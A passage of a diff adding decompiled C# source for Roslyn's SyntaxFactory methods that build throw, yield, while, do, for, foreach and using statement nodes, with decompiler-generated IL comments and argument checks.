(Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ThrowStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref throwKeyword)).Node, (expression == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax ThrowStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ThrowStatement(attributeLists, Token(SyntaxKind.ThrowKeyword), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax ThrowStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression = null) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ThrowStatement(default(SyntaxList), Token(SyntaxKind.ThrowKeyword), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax YieldStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8806 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (yieldKeyword.Kind() != SyntaxKind.YieldKeyword) + { + throw new ArgumentException("yieldKeyword"); + } + SyntaxKind syntaxKind = returnOrBreakKeyword.Kind(); + if (syntaxKind != SyntaxKind.BreakKeyword && syntaxKind != SyntaxKind.ReturnKeyword) + { + throw new ArgumentException("returnOrBreakKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.YieldStatement(kind, GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref yieldKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref returnOrBreakKeyword)).Node, (expression == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax YieldStatement(SyntaxKind kind, SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return YieldStatement(kind, attributeLists, Token(SyntaxKind.YieldKeyword), Token(GetYieldStatementReturnOrBreakKeywordKind(kind)), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax YieldStatement(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression = null) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return YieldStatement(kind, default(SyntaxList), Token(SyntaxKind.YieldKeyword), Token(GetYieldStatementReturnOrBreakKeywordKind(kind)), expression, Token(SyntaxKind.SemicolonToken)); + } + + private static SyntaxKind GetYieldStatementReturnOrBreakKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.YieldReturnStatement => SyntaxKind.ReturnKeyword, + SyntaxKind.YieldBreakStatement => SyntaxKind.BreakKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax WhileStatement(SyntaxList attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (whileKeyword.Kind() != SyntaxKind.WhileKeyword) + { + throw new ArgumentException("whileKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.WhileStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref whileKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax WhileStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return WhileStatement(attributeLists, Token(SyntaxKind.WhileKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax WhileStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return WhileStatement(default(SyntaxList), Token(SyntaxKind.WhileKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax DoStatement(SyntaxList attributeLists, SyntaxToken doKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + if (doKeyword.Kind() != SyntaxKind.DoKeyword) + { + throw new ArgumentException("doKeyword"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + if (whileKeyword.Kind() != SyntaxKind.WhileKeyword) + { + throw new ArgumentException("whileKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DoStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref doKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green, (SyntaxToken)(object)((SyntaxToken)(ref whileKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax DoStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + return DoStatement(attributeLists, Token(SyntaxKind.DoKeyword), statement, Token(SyntaxKind.WhileKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax DoStatement(Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return DoStatement(default(SyntaxList), Token(SyntaxKind.DoKeyword), statement, Token(SyntaxKind.WhileKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax ForStatement(SyntaxList attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + if (forKeyword.Kind() != SyntaxKind.ForKeyword) + { + throw new ArgumentException("forKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (firstSemicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("firstSemicolonToken"); + } + if (secondSemicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("secondSemicolonToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ForStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref forKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (declaration == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green), GreenNodeExtensions.ToGreenSeparatedList(initializers.Node), (SyntaxToken)(object)((SyntaxToken)(ref firstSemicolonToken)).Node, (condition == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green), (SyntaxToken)(object)((SyntaxToken)(ref secondSemicolonToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(incrementors.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax ForStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? condition, SeparatedSyntaxList incrementors, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return ForStatement(attributeLists, Token(SyntaxKind.ForKeyword), Token(SyntaxKind.OpenParenToken), declaration, initializers, Token(SyntaxKind.SemicolonToken), condition, Token(SyntaxKind.SemicolonToken), incrementors, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax ForStatement(Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + return ForStatement(default(SyntaxList), Token(SyntaxKind.ForKeyword), Token(SyntaxKind.OpenParenToken), null, default(SeparatedSyntaxList), Token(SyntaxKind.SemicolonToken), null, Token(SyntaxKind.SemicolonToken), default(SeparatedSyntaxList), Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = awaitKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.AwaitKeyword) + { + throw new ArgumentException("awaitKeyword"); + } + if (forEachKeyword.Kind() != SyntaxKind.ForEachKeyword) + { + throw new ArgumentException("forEachKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (inKeyword.Kind() != SyntaxKind.InKeyword) + { + throw new ArgumentException("inKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ForEachStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref awaitKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref forEachKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref inKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + return ForEachStatement(attributeLists, default(SyntaxToken), Token(SyntaxKind.ForEachKeyword), Token(SyntaxKind.OpenParenToken), type, identifier, Token(SyntaxKind.InKeyword), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return ForEachStatement(default(SyntaxList), default(SyntaxToken), Token(SyntaxKind.ForEachKeyword), Token(SyntaxKind.OpenParenToken), type, identifier, Token(SyntaxKind.InKeyword), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return ForEachStatement(default(SyntaxList), default(SyntaxToken), Token(SyntaxKind.ForEachKeyword), Token(SyntaxKind.OpenParenToken), type, Identifier(identifier), Token(SyntaxKind.InKeyword), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax variable, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = awaitKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.AwaitKeyword) + { + throw new ArgumentException("awaitKeyword"); + } + if (forEachKeyword.Kind() != SyntaxKind.ForEachKeyword) + { + throw new ArgumentException("forEachKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (variable == null) + { + throw new ArgumentNullException("variable"); + } + if (inKeyword.Kind() != SyntaxKind.InKeyword) + { + throw new ArgumentException("inKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ForEachVariableStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref awaitKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref forEachKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)variable).Green, (SyntaxToken)(object)((SyntaxToken)(ref inKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax variable, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + return ForEachVariableStatement(attributeLists, default(SyntaxToken), Token(SyntaxKind.ForEachKeyword), Token(SyntaxKind.OpenParenToken), variable, Token(SyntaxKind.InKeyword), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax ForEachVariableStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax variable, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + return ForEachVariableStatement(default(SyntaxList), default(SyntaxToken), Token(SyntaxKind.ForEachKeyword), Token(SyntaxKind.OpenParenToken), variable, Token(SyntaxKind.InKeyword), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = awaitKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.AwaitKeyword) + { + throw new ArgumentException("awaitKeyword"); + } + if (usingKeyword.Kind() != SyntaxKind.UsingKeyword) + { + throw new ArgumentException("usingKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.UsingStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref awaitKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref usingKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (declaration == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green), (expression == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, 